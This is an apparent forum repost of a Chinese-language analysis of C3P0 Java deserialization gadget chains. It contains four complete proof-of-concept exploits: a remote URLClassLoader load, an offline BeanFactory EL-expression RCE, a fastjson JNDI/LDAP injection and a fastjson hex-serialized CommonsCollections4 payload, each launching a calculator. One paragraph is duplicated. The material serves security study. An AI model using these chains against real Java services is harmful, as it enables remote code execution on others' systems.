安全矩阵

 找回密码
 立即注册
搜索
查看: 645|回复: 0

Java安全中C3P0反序列化在各个链子中的利用手法

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-11-29 00:44:51 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-11-29 00:44 编辑


Java安全中C3P0反序列化在各个链子中的利用手法(不出网/fastjson等等)
原文链接:Java安全中C3P0反序列化在各个链子中的利用手法
LeeH 衡阳信安 2022-11-28 19:00 发表于湖南
简介
c3p0是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。目前,hibernate自带的连接池就是c3p0。
ysoserial之URLClassLoader链分析
利用链分析
利用链

* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
查看com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase类源码
实现有Serializable接口,且具有PropertyChangeSupport和VetoableChangeSupport对象,是的具有监听器的功能
跟进PoolBackedDataSourceBase#writeObject方法
编辑
会保存他的成员变量connectionPoolDataSource,但是如果他本身不是一个可以序列化的对象,就会先执行indirector.indirectForm方法之后进行序列化
跟进indirectForm
编辑
他会首先调用connectionPoolDataSource的getReference方法得到Reference对象,之后再使用ReferenceIndirector.ReferenceSerialized对象进行包装之后返回一个IndirectlySerialized
这里的ReferenceSerialized是ReferenceIndirector类里面的一个内置类
之后在进行反序列化的时候,跟进PoolBackedDataSourceBase#readObject
编辑
他会首先调用connectionPoolDataSource的getReference方法得到Reference对象,之后再使用ReferenceIndirector.ReferenceSerialized对象进行包装之后返回一个IndirectlySerialized
这里的ReferenceSerialized是ReferenceIndirector类里面的一个内置类
之后在进行反序列化的时候,跟进PoolBackedDataSourceBase#readObject
编辑
会调用IndirectlySerialized#getObject方法还原对象
编辑
这个IndirectlySerialized是一个接口,而ReferenceIndirector.ReferenceSerialized实现了这个接口,并重写了getObject方法
编辑
所以就是调用的这个getObject方法,跟进

编辑
虽然这里具有一个lookup,但是这里的contextName是不可控的,所以触发点不在这里
后面的return语句中调用了ReferenceableUtils.referenceToObject方法,跟进
编辑
他从Reference对象中取出了classFactory和classFactoryLocation属性然后进行URLClassLoader进行加载并实例化,这样一个完整的利用链就形成了
POC编写
构造一个不可序列化的并且实现了Referenceable的ConnectionPoolDataSource对象, 其getReference方法返回带有恶意类位置的Reference对象
  1. import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

  2. import javax.naming.NamingException;
  3. import javax.naming.Reference;
  4. import javax.naming.Referenceable;
  5. import javax.sql.ConnectionPoolDataSource;
  6. import javax.sql.PooledConnection;
  7. import java.io.*;
  8. import java.lang.reflect.Constructor;
  9. import java.lang.reflect.Field;
  10. import java.sql.SQLException;
  11. import java.sql.SQLFeatureNotSupportedException;
  12. import java.util.Base64;
  13. import java.util.logging.Logger;

  14. public class c3p0_POC {
  15.     private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{

  16.         protected String classFactory = null;

  17.         protected String classFactoryLocation = null;

  18.         public ConnectionPool(String classFactory,String classFactoryLocation){
  19.             this.classFactory = classFactory;
  20.             this.classFactoryLocation = classFactoryLocation;
  21.         }
  22.         @Override
  23.         public Reference getReference() throws NamingException {
  24.             return new Reference("ref",classFactory,classFactoryLocation);
  25.         }

  26.         @Override
  27.         public PooledConnection getPooledConnection() throws SQLException {
  28.             return null;
  29.         }

  30.         @Override
  31.         public PooledConnection getPooledConnection(String user, String password) throws SQLException {
  32.             return null;
  33.         }

  34.         @Override
  35.         public PrintWriter getLogWriter() throws SQLException {
  36.             return null;
  37.         }

  38.         @Override
  39.         public void setLogWriter(PrintWriter out) throws SQLException {

  40.         }

  41.         @Override
  42.         public void setLoginTimeout(int seconds) throws SQLException {

  43.         }

  44.         @Override
  45.         public int getLoginTimeout() throws SQLException {
  46.             return 0;
  47.         }

  48.         @Override
  49.         public Logger getParentLogger() throws SQLFeatureNotSupportedException {
  50.             return null;
  51.         }
  52.     }
  53.     public static String serialize(Object obj) throws IOException {
  54.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  55.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  56.         objectOutputStream.writeObject(obj);
  57.         byte[] bytes = byteArrayOutputStream.toByteArray();
  58.         objectOutputStream.close();
  59.         return Base64.getEncoder().encodeToString(bytes);
  60.     }
  61.     public static void unserialize(String exp) throws IOException, ClassNotFoundException {
  62.         byte[] decode = Base64.getDecoder().decode(exp);
  63.         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
  64.         ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  65.         objectInputStream.readObject();
  66.     }
  67.     public static void main(String[] args) throws Exception{

  68.         Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
  69.         constructor.setAccessible(true);
  70.         PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

  71.         ConnectionPool connectionPool = new ConnectionPool("EvilObject","http://127.0.0.1:8888/");
  72.         Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
  73.         field.setAccessible(true);
  74.         field.set(obj, connectionPool);

  75.         String serialize = serialize(obj);
  76.         System.out.println(serialize);
  77.         unserialize(serialize);
  78.     }
  79. }
复制代码

这里主要是重写那个getReference方法
编辑
成功触发计算器
BeanFactory不出网RCE
编辑
在加载类的逻辑中,如果Reference对象的classFactoryLocation为null的时候,就不会加载远程字节码,而是直接加载本地字节码
所以我们就需要一个实现了ObjectFactory接口的,并调用他的getObjectInstance方法
在JNDI注入中,在高版本的java中出现了trustCodebaseURL的限制,导致不能远程加载字节码,但是有着绕过高版本的方法
在JNDI中如果进行looup操作的时候,会动态的加载并实例化Factory类,并且调用factory.getObjectInstance()方法获取远程对象实例,攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果
文中使用了org.apache.naming.factory.BeanFactory类+javax.el.ELProcessor#eval执行任意el表达式
POC
  1. import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
  2. import org.apache.naming.ResourceRef;
  3. import javax.naming.NamingException;
  4. import javax.naming.Reference;
  5. import javax.naming.Referenceable;
  6. import javax.naming.StringRefAddr;
  7. import javax.sql.ConnectionPoolDataSource;
  8. import javax.sql.PooledConnection;
  9. import java.io.ByteArrayInputStream;
  10. import java.io.ByteArrayOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.sql.SQLException;
  15. import java.sql.SQLFeatureNotSupportedException;
  16. import java.util.Base64;
  17. import java.util.logging.Logger;

  18. public class c3p0_no_network {

  19.     public static String serialize(Object obj) throws Exception {

  20.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  21.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  22.         objectOutputStream.writeObject(obj);
  23.         byte[] expCode = byteArrayOutputStream.toByteArray();
  24.         objectOutputStream.close();
  25.         return Base64.getEncoder().encodeToString(expCode);
  26.     }

  27.     public static void unserialize(String expBase64) throws Exception {

  28.         byte[] bytes = Base64.getDecoder().decode(expBase64);
  29.         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
  30.         ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  31.         objectInputStream.readObject();
  32.     }

  33.     private static class NotSerializable implements ConnectionPoolDataSource, Referenceable {

  34.         private String classFactory;
  35.         private String classFactoryLocation;

  36.         public NotSerializable() {

  37.             this.classFactory = "BeanFactory";
  38.             this.classFactoryLocation = null;
  39.         }

  40.         public NotSerializable(String classFactory, String classFactoryLocation) {

  41.             this.classFactory = classFactory;
  42.             this.classFactoryLocation = classFactoryLocation;
  43.         }

  44.         @Override
  45.         public Reference getReference() throws NamingException {

  46.             ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  47.             //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
  48.             ref.add(new StringRefAddr("forceString", "x=eval"));
  49.             //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
  50.             ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"open -a Calculator"']).start()")"));

  51.             return ref;
  52.         }

  53.         @Override
  54.         public PooledConnection getPooledConnection() throws SQLException {
  55.             return null;
  56.         }

  57.         @Override
  58.         public PooledConnection getPooledConnection(String user, String password) throws SQLException {
  59.             return null;
  60.         }

  61.         @Override
  62.         public java.io.PrintWriter getLogWriter() throws SQLException {
  63.             return null;
  64.         }

  65.         @Override
  66.         public int getLoginTimeout() throws SQLException {
  67.             return 0;
  68.         }

  69.         @Override
  70.         public void setLogWriter(java.io.PrintWriter out) throws SQLException {
  71.         }

  72.         @Override
  73.         public void setLoginTimeout(int seconds) throws SQLException {
  74.         }

  75.         @Override
  76.         public Logger getParentLogger() throws SQLFeatureNotSupportedException {
  77.             return null;
  78.         }
  79.     }

  80.     public static void main(String[] args) throws Exception {

  81.         PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
  82.         ConnectionPoolDataSource connectionPoolDataSource1 = new NotSerializable();
  83.         Field field = poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
  84.         field.setAccessible(true);
  85.         field.set(poolBackedDataSourceBase, connectionPoolDataSource1);

  86.         String serializeData = serialize(poolBackedDataSourceBase);
  87.         System.out.println(serializeData);
  88.         unserialize(serializeData);
  89.     }
  90. }
复制代码
条件

需要tomcat8下的依赖
除了使用EL表达式也有其他利用
org.apache.naming.factory.BeanFactory + groovy
org.apache.naming.factory.BeanFactory + SnakeYaml
org.apache.naming.factory.BeanFactory + XStream
Fastjson中的JndiRefForwardingDataSource类利用
分析
编辑
在其中的dereference方法中存在一个lookup,如果这个jndiName可控就会导致JNDI注入
虽然在JndiRefForwardingDataSource类中,并没有对应的setter,但是这个类继承了JndiRefDataSourceBase类,在这个类中存在有setter方法
编辑
这样,这个jndiName就可以控制了

编辑
在inner方法中存在dereference的调用,寻找setter方法
编辑
这两个setter都调用了inner方法,但是因为setLogWriter的参数是PrintWriter对象,我们选择简单的int类型参数的setLoginTimeout方法
构建POC
  1. import com.alibaba.fastjson.JSON;

  2. public class c3p0_fastjson {
  3.     public static void main(String[] args){
  4.         String poc = "{"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",\n"+""jndiName": "ldap://127.0.0.1:1389/fvtvuj",\n"+""loginTimeout": 0}";
  5.         JSON.parseObject(poc);
  6.     }
  7. }
复制代码
Fastjson之WrapperConnectionPoolDataSource类不出网利用分析
这里主要是使用的是WrapperConnectionPoolDataSourece类,跟进
编辑
这个类在初始化的时候,就调用了setUpPropertyListeners方法开启了属性监听功能
编辑
这里的VetoableChangeListener就是一个监听器,在属性改变的时候就会调用监听器的VetoableChange的方法,这里就创建了一个监听器,而且重写了vetoableChange方法
后面通过调用addVetoableChangeListener,将监听器添加到自己的属性vcs
编辑
那这个vcs属性又是什么呢,是VetoableChangeSupport,这个就是一个监听器的列表,并且会向监听器列表发送 PropertyChangeEvent ,来跟踪属性的更改情况。
编辑
在设置属性时,为了监控属性的变化,就会去调用vcs.fireVetoableChange 方法,此方法有很多重载,但最后都会封装一个PropertyChangeEvent 对象
编辑
传递给了监听器的vetoableChange方法
来看看重新的vetoableChange方法的逻辑
编辑
他只监听两个属性connectionTesterClassName和userOverridesAsString
第一个属性不能利用
第二个属性userOverridesAsString:
会调用C3P0ImplUtils.parseUserOverridesAsString处理新的属性值,跟进细节
编辑
截取了HexAsciiSerializedMap后的第二个字符到倒数第二个字符的hex串
之后通过调用fromHexAscii方法将hex转化为序列化字节,再通过调用了SerializableUtils.fromByteArray方法处理序列化字节
编辑
调用了deserializeFromByteArray进行反序列化,如果这里是一个恶意的字节码,就会进行恶意触发漏洞
所以现在我们就需要userOverridesAsString的setter方法,就会调用这个链子
在WrapperConnectionPoolDataSource类中是没有这个方法的,但是他继承了WrapperConnectionPoolDataSourceBase类
编辑
这个类具有对应的setter方法
编写POC
  1. import com.alibaba.fastjson.JSON;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  5. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  6. import javassist.ClassClassPath;
  7. import javassist.ClassPool;
  8. import javassist.CtClass;
  9. import org.apache.commons.collections4.Transformer;
  10. import org.apache.commons.collections4.comparators.TransformingComparator;
  11. import org.apache.commons.collections4.functors.ChainedTransformer;
  12. import org.apache.commons.collections4.functors.ConstantTransformer;
  13. import org.apache.commons.collections4.functors.InstantiateTransformer;

  14. import javax.xml.transform.Templates;
  15. import java.io.*;
  16. import java.lang.reflect.Field;
  17. import java.util.PriorityQueue;

  18. public class c3p0_fastjson2 {

  19.     public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
  20.         try {
  21.             Field field = clazz.getDeclaredField(fieldName);
  22.             if ( field != null )
  23.                 field.setAccessible(true);
  24.             else if ( clazz.getSuperclass() != null )
  25.                 field = getField(clazz.getSuperclass(), fieldName);

  26.             return field;
  27.         }
  28.         catch ( NoSuchFieldException e ) {
  29.             if ( !clazz.getSuperclass().equals(Object.class) ) {
  30.                 return getField(clazz.getSuperclass(), fieldName);
  31.             }
  32.             throw e;
  33.         }
  34.     }

  35.     public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
  36.         final Field field = getField(obj.getClass(), fieldName);
  37.         field.set(obj, value);
  38.     }

  39.     public static PriorityQueue CommonsCollections4() throws Exception {

  40.         ClassPool pool = ClassPool.getDefault();
  41.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  42.         CtClass ctClass = pool.makeClass("c3p0Exploit");
  43.         ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  44.         String shell = "java.lang.Runtime.getRuntime().exec("calc");";
  45.         ctClass.makeClassInitializer().insertBefore(shell);

  46.         byte[] shellCode = ctClass.toBytecode();
  47.         byte[][] targetCode = new byte[][]{shellCode};

  48.         TemplatesImpl templatesImpl = new TemplatesImpl();
  49.         setFieldValue(templatesImpl, "_name", "xx");
  50.         setFieldValue(templatesImpl, "_bytecodes", targetCode);
  51.         setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

  52.         Transformer[] transformers = new Transformer[] {
  53.             new ConstantTransformer(TrAXFilter.class),
  54.             new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
  55.         };
  56.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  57.         TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

  58.         PriorityQueue priorityQueue = new PriorityQueue(2);
  59.         priorityQueue.add(1);
  60.         priorityQueue.add(2);
  61.         Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  62.         field.setAccessible(true);
  63.         field.set(priorityQueue, transformingComparator);

  64.         return priorityQueue;
  65.     }

  66.     public static byte[] toByteArray(InputStream in) throws Exception {
  67.         byte[] classBytes;
  68.         classBytes = new byte[in.available()];
  69.         in.read(classBytes);
  70.         in.close();
  71.         return classBytes;
  72.     }

  73.     public static String bytesToHexString(byte[] bArray, int length) {
  74.         StringBuffer sb = new StringBuffer(length);

  75.         for(int i = 0; i < length; ++i) {
  76.             String sTemp = Integer.toHexString(255 & bArray[i]);
  77.             if (sTemp.length() < 2) {
  78.                 sb.append(0);
  79.             }

  80.             sb.append(sTemp.toUpperCase());
  81.         }
  82.         return sb.toString();
  83.     }

  84.     public static void main(String[] args) throws Exception {

  85.         PriorityQueue queue = CommonsCollections4();

  86.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  87.         ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
  88.         outputStream.writeObject(queue);
  89.         outputStream.close();

  90.         byte[] bytes = byteArrayOutputStream.toByteArray();
  91.         //byte[] bytes = toByteArray(inputStream);
  92.         String hexString = bytesToHexString(bytes, bytes.length);

  93.         String poc = "{\n\t"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",\n\t"userOverridesAsString": "HexAsciiSerializedMap:" + hexString + ";"\n}";
  94.         System.out.println(poc);
  95.         JSON.parseObject(poc);
  96.     }
  97. }
复制代码
编辑
这里是使用了cc4版本jar包的cc4链出发计算器

来源:先知社区的【LeeH】师傅








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 09:19 , Processed in 0.016633 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表